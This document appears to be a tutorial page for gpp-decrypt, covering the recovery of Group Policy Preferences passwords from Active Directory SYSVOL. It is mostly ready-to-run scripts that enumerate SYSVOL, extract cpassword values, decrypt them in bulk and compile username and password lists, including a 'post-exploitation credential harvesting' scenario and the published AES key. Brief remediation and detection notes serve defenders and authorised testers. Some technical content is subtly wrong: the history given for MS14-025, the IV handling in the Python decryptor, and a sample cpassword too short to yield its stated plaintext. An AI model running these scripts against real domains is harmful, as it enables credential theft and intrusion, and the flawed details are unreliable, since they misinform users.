gpp-decrypt
Overview
Seção intitulada “Overview”gpp-decrypt is a tool for decrypting credentials stored in Group Policy Preferences (GPP). Microsoft published the AES encryption key used for GPP passwords, making historically stored credentials in Groups.xml files vulnerable to decryption. This tool is used in authorized penetration testing to identify weak credential management practices in Active Directory environments.
IMPORTANT: Only use gpp-decrypt on systems and networks you own or have explicit written authorization to test.
Background: Group Policy Preferences Vulnerability
Seção intitulada “Background: Group Policy Preferences Vulnerability”History
Seção intitulada “History”- Microsoft released the AES decryption key for GPP in MS14-025 (May 2014)
- Prior versions of Windows Server automatically decrypted GPP passwords
- Credentials stored in GPP are now considered compromised if older domain controllers are in use
Affected Versions
Seção intitulada “Affected Versions”- Windows Server 2003, 2008, 2008 R2, 2012 (pre-patch)
- Windows 7, 8, Vista, XP (pre-patch)
Installation
Seção intitulada “Installation”Prerequisites
Seção intitulada “Prerequisites”# Kali Linux (pre-installed in many versions)
which gpp-decrypt
# Ubuntu/Debian
sudo apt-get update
sudo apt-get install gpp-decrypt
# Or build from source
git clone https://github.com/kunal94/gpp-decrypt.git
cd gpp-decrypt
gcc gpp-decrypt.c -o gpp-decrypt -lcrypto
Verify Installation
Seção intitulada “Verify Installation”gpp-decrypt
# or
python3 gpp-decrypt.py --help
Basic Syntax
Seção intitulada “Basic Syntax”# C version
gpp-decrypt <cpassword_hash>
# Python version
python3 gpp-decrypt.py <cpassword_hash>
Understanding cpassword Format
Seção intitulada “Understanding cpassword Format”Where cpassword is Found
Seção intitulada “Where cpassword is Found”cpassword values are stored in Group Policy XML files:
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{GUID}\Machine\Preferences\<SECTION>.xml
Common locations:
Groups.xml— Local Groups, Group MembersServices.xml— ServicesScheduledTasks.xml— Scheduled TasksDataSources.xml— Data SourcesDrives.xml— Drive MappingsPrinters.xml— Printer Connections
Example XML Structure
Seção intitulada “Example XML Structure”<?xml version="1.0" encoding="UTF-8"?>
<Groups version="1">
<User
clsid="{3243D8A5-6FA8-43F5-84F4-3B9569C3D85E}"
name="Administrator"
image="0"
changeLogon="0"
noChange="0"
neverExpires="1"
disabled="0"
userName="DOMAIN\Administrator"
cpassword="2bQwj3SU5gHs83+CVtgyQAAAAA=="
cpasswordEncrypted="0"
expires="0"
chatFlag="0"
removePolicy="0"
uid="{12345678-1234-1234-1234-123456789012}"
pwdLastSet="131234567890"
gPCUserExtensionNames="[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{3060E8CE-7020-11D2-842D-00C04FA372D4}]"
/>
</Groups>
Quick Start Examples
Seção intitulada “Quick Start Examples”Decrypt a Single cpassword
Seção intitulada “Decrypt a Single cpassword”# Decrypt known cpassword
gpp-decrypt '2bQwj3SU5gHs83+CVtgyQAAAAA=='
# Expected output
Decrypted password: MyP@ssw0rd!
Decrypt from XML File
Seção intitulada “Decrypt from XML File”# Extract and decrypt from Groups.xml
grep -oP 'cpassword="\K[^"]+' Groups.xml | xargs -I {} gpp-decrypt '{}'
# Decrypt all instances in file
for pwd in $(grep -oP 'cpassword="\K[^"]+' Groups.xml); do
echo "Found cpassword: $pwd"
gpp-decrypt "$pwd"
done
Extracting cpassword from SYSVOL
Seção intitulada “Extracting cpassword from SYSVOL”Access SYSVOL
Seção intitulada “Access SYSVOL”# Mount SYSVOL share if accessible
mount -t cifs //domain.com/sysvol /mnt/sysvol \
-o username=user,password=pass,domain=DOMAIN
# Or via SMB
smbclient //domain.com/sysvol -U DOMAIN\\user
# List policies
ls -R /mnt/sysvol/domain.com/Policies/
Find Groups.xml Files
Seção intitulada “Find Groups.xml Files”# Search for vulnerable XML files
find /mnt/sysvol -name "*.xml" -path "*/Preferences/*"
# Search specifically for Groups.xml
find /mnt/sysvol -name "Groups.xml"
# Search for any XML with cpassword
find /mnt/sysvol -name "*.xml" -exec grep -l "cpassword" {} \;
Extract All cpasswords
Seção intitulada “Extract All cpasswords”#!/bin/bash
# Extract all cpasswords from SYSVOL
SYSVOL_PATH="/mnt/sysvol"
output_file="decrypted_passwords.txt"
echo "[*] Searching for cpasswords in SYSVOL..."
> $output_file
for xml_file in $(find $SYSVOL_PATH -name "*.xml" -exec grep -l "cpassword" {} \;); do
echo "[+] Found: $xml_file"
# Extract cpassword values
grep -oP 'cpassword="\K[^"]+' "$xml_file" | while read cpass; do
echo "[*] Attempting to decrypt: $cpass"
decrypted=$(gpp-decrypt "$cpass" 2>/dev/null)
if [ $? -eq 0 ]; then
echo "[+] Decrypted: $decrypted" | tee -a $output_file
fi
done
done
echo "[*] Results saved to $output_file"
Using PowerShell to Extract GPP Credentials
Seção intitulada “Using PowerShell to Extract GPP Credentials”PowerShell Method 1: Direct Extraction
Seção intitulada “PowerShell Method 1: Direct Extraction”# Find and decrypt Group Policy Preferences from SYSVOL
$SysVolPath = "\\$env:USERDOMAIN\sysvol\$env:USERDOMAIN\policies"
$XmlFiles = Get-ChildItem -Path $SysVolPath -Include *.xml -Recurse
foreach ($XmlFile in $XmlFiles) {
[xml]$XmlContent = Get-Content $XmlFile
# Check for cpassword attribute
if ($XmlContent.SelectNodes("//*[@cpassword]")) {
$cpassword = $XmlContent.SelectNodes("//*[@cpassword]").cpassword
Write-Host "Found cpassword in $($XmlFile.FullName): $cpassword"
}
}
PowerShell Method 2: Get-GPPPassword (Third-party module)
Seção intitulada “PowerShell Method 2: Get-GPPPassword (Third-party module)”# If Get-GPPPassword module is available
Get-GPPPassword
# Or the improved Get-DomainGPPPassword from PowerView
Get-DomainGPPPassword
Batch Decryption Script
Seção intitulada “Batch Decryption Script”#!/bin/bash
# Batch decrypt cpasswords from multiple sources
# Input file with one cpassword per line
INPUT_FILE="cpasswords.txt"
OUTPUT_FILE="decrypted.txt"
if [ ! -f "$INPUT_FILE" ]; then
echo "Error: $INPUT_FILE not found"
exit 1
fi
> $OUTPUT_FILE
count=0
while IFS= read -r cpassword; do
echo "[*] Decrypting: $cpassword"
result=$(gpp-decrypt "$cpassword" 2>/dev/null)
if [ $? -eq 0 ]; then
echo "$cpassword => $result" >> $OUTPUT_FILE
echo "[+] Success: $result"
((count++))
else
echo "[!] Failed to decrypt: $cpassword" >> $OUTPUT_FILE
echo "[!] Failed: $cpassword"
fi
done < "$INPUT_FILE"
echo "[+] Decrypted $count passwords"
echo "[+] Results saved to $OUTPUT_FILE"
Advanced Exploitation Scenarios
Seção intitulada “Advanced Exploitation Scenarios”Scenario 1: Post-Exploitation Credential Harvesting
Seção intitulada “Scenario 1: Post-Exploitation Credential Harvesting”# After gaining domain admin or system access
# Copy SYSVOL locally
mkdir -p /tmp/sysvol_copy
cp -r /mnt/sysvol /tmp/sysvol_copy
# Search for all credentials
echo "[*] Extracting all Group Policy credentials..."
grep -r "cpassword" /tmp/sysvol_copy/*/Policies/*/Machine/Preferences/*.xml | \
grep -oP 'cpassword="\K[^"]+' | \
sort -u > /tmp/cpasswords.txt
# Decrypt all
while read cpass; do
gpp-decrypt "$cpass"
done < /tmp/cpasswords.txt > /tmp/credentials_decrypted.txt
# Analyze results
cat /tmp/credentials_decrypted.txt
Scenario 2: Domain Reconnaissance
Seção intitulada “Scenario 2: Domain Reconnaissance”#!/bin/bash
# Reconnaissance against accessible domain
domain="example.com"
# List accessible policies
echo "[*] Checking accessible policies..."
smbclient "//domain.com/sysvol" -U "DOMAIN\user%password" -c "ls" 2>/dev/null | \
grep "Policies"
# Enumerate and download Groups.xml
echo "[*] Downloading Groups.xml files..."
smbclient "//domain.com/sysvol" -U "DOMAIN\user%password" \
-c "prompt OFF; mget Policies/*/Machine/Preferences/Groups.xml" \
2>/dev/null
# Find and decrypt credentials
echo "[*] Extracting credentials..."
find . -name "Groups.xml" -exec grep -Ho "cpassword" {} \; | \
cut -d'"' -f2 | \
while read cpass; do
echo "Domain: $domain"
echo "cpassword: $cpass"
gpp-decrypt "$cpass"
echo "---"
done
Analyzing Decrypted Credentials
Seção intitulada “Analyzing Decrypted Credentials”Extract Usernames and Passwords
Seção intitulada “Extract Usernames and Passwords”#!/bin/bash
# Extract and organize decrypted credentials
sysvol_path="/mnt/sysvol"
creds_file="credentials_found.txt"
> $creds_file
# Process each XML file with cpassword
for xml in $(find $sysvol_path -name "*.xml" -exec grep -l "cpassword" {} \;); do
# Extract username and cpassword
grep -oP 'userName="\K[^"]+|cpassword="\K[^"]+' "$xml" | \
paste - - | while read username cpass; do
# Decrypt
password=$(gpp-decrypt "$cpass" 2>/dev/null)
if [ $? -eq 0 ]; then
# Store in organized format
echo "Username: $username" >> $creds_file
echo "Password: $password" >> $creds_file
echo "Source: $xml" >> $creds_file
echo "---" >> $creds_file
fi
done
done
# Display summary
echo "[+] Credentials found:"
grep "^Username:" $creds_file | wc -l
Creating Test Cases
Seção intitulada “Creating Test Cases”Generate Test cpassword Values
Seção intitulada “Generate Test cpassword Values”# Using the known AES key
# The key is: 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
# Create test environment
mkdir -p test_gpp
cat > test_gpp/Groups.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<Groups version="1">
<User name="TestUser" userName="DOMAIN\TestUser"
cpassword="2bQwj3SU5gHs83+CVtgyQAAAAA==" />
</Groups>
EOF
# Test decryption
gpp-decrypt "2bQwj3SU5gHs83+CVtgyQAAAAA=="
Defenses and Detection
Seção intitulada “Defenses and Detection”Detecting GPP Exploitation Attempts
Seção intitulada “Detecting GPP Exploitation Attempts”# Look for SYSVOL access in audit logs
# Check for repeated access to Policies folder
# Monitor for gpp-decrypt tool usage
ps aux | grep -i "gpp\|sysvol"
# Check recent file access
find /mnt/sysvol -name "*.xml" -mtime -1
Remediation
Seção intitulada “Remediation”# 1. Remove cpasswords from GPP
# 2. Apply MS14-025 patch to all domain controllers
# 3. Delete active GPP files containing sensitive credentials
# 4. Use LAPS (Local Admin Password Solution) instead of GPP
# for local admin password management
# 5. Implement IRM (Information Rights Management) for SYSVOL
Troubleshooting
Seção intitulada “Troubleshooting”Common Issues
Seção intitulada “Common Issues”| Problem | Solution |
|---|---|
| ”Cannot find module” | Install gpp-decrypt: apt-get install gpp-decrypt |
| Decryption fails | Ensure cpassword format is correct (Base64 encoded) |
| Permission denied on SYSVOL | Need domain credentials with SYSVOL read access |
| No cpassword found | Check file paths, may require system access |
Debugging
Seção intitulada “Debugging”# Test with known working cpassword
gpp-decrypt '2bQwj3SU5gHs83+CVtgyQAAAAA=='
# Check if tool is working
which gpp-decrypt
gpp-decrypt -h 2>&1 || gpp-decrypt --help 2>&1
# Verify file access
ls -la /mnt/sysvol/
# Check for XML files
find . -name "*.xml" -type f 2>/dev/null
Advanced: Understanding the Encryption
Seção intitulada “Advanced: Understanding the Encryption”AES Decryption Process
Seção intitulada “AES Decryption Process”#!/usr/bin/env python3
# Manual AES decryption of cpassword
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# Known key (from MS14-025)
key = bytes.fromhex(
'4e9906e8fcb66cc9faf49310620ffee8'
'f496e806cc057990209b09a433b66c1b'
)
# IV for AES-CBC (first 16 bytes are IV, rest is ciphertext)
cpassword_b64 = '2bQwj3SU5gHs83+CVtgyQAAAAA=='
cpassword_bytes = base64.b64decode(cpassword_b64)
# Extract IV and ciphertext
iv = cpassword_bytes[:16]
ciphertext = cpassword_bytes[16:]
# Decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
# Convert from UTF-16LE to UTF-8
password = plaintext.decode('utf-16le')
print(f"Decrypted: {password}")
Legal and Ethical Considerations
Seção intitulada “Legal and Ethical Considerations”Authorization Required
Seção intitulada “Authorization Required”- Only test systems you own or have explicit written authorization
- Document all findings and maintain chain of custody
- Report vulnerabilities responsibly to system administrators
- Do not use credentials without authorization
- Follow responsible disclosure practices
Reporting Findings
Seção intitulada “Reporting Findings”When reporting GPP credential exposure:
- Identify all affected domain controllers
- List decrypted credentials discovered
- Recommend immediate remediation
- Suggest long-term solution (LAPS)
- Provide guidance on detection methods
Alternative and Related Tools
Seção intitulada “Alternative and Related Tools”| Tool | Purpose |
|---|---|
| Metasploit | Post-exploitation framework with GPP module |
| PowerView | PowerShell Active Directory enum |
| Get-GPPPassword | PowerShell GPP extraction |
| Mimikatz | Credential extraction tool |
Resources
Seção intitulada “Resources”- GitHub gpp-decrypt: https://github.com/kunal94/gpp-decrypt
- Microsoft MS14-025: https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025
- LAPS Documentation: https://docs.microsoft.com/en-us/windows-server/identity/laps/laps-overview
- OWASP: https://owasp.org/www-community/attacks/Credential_stuffing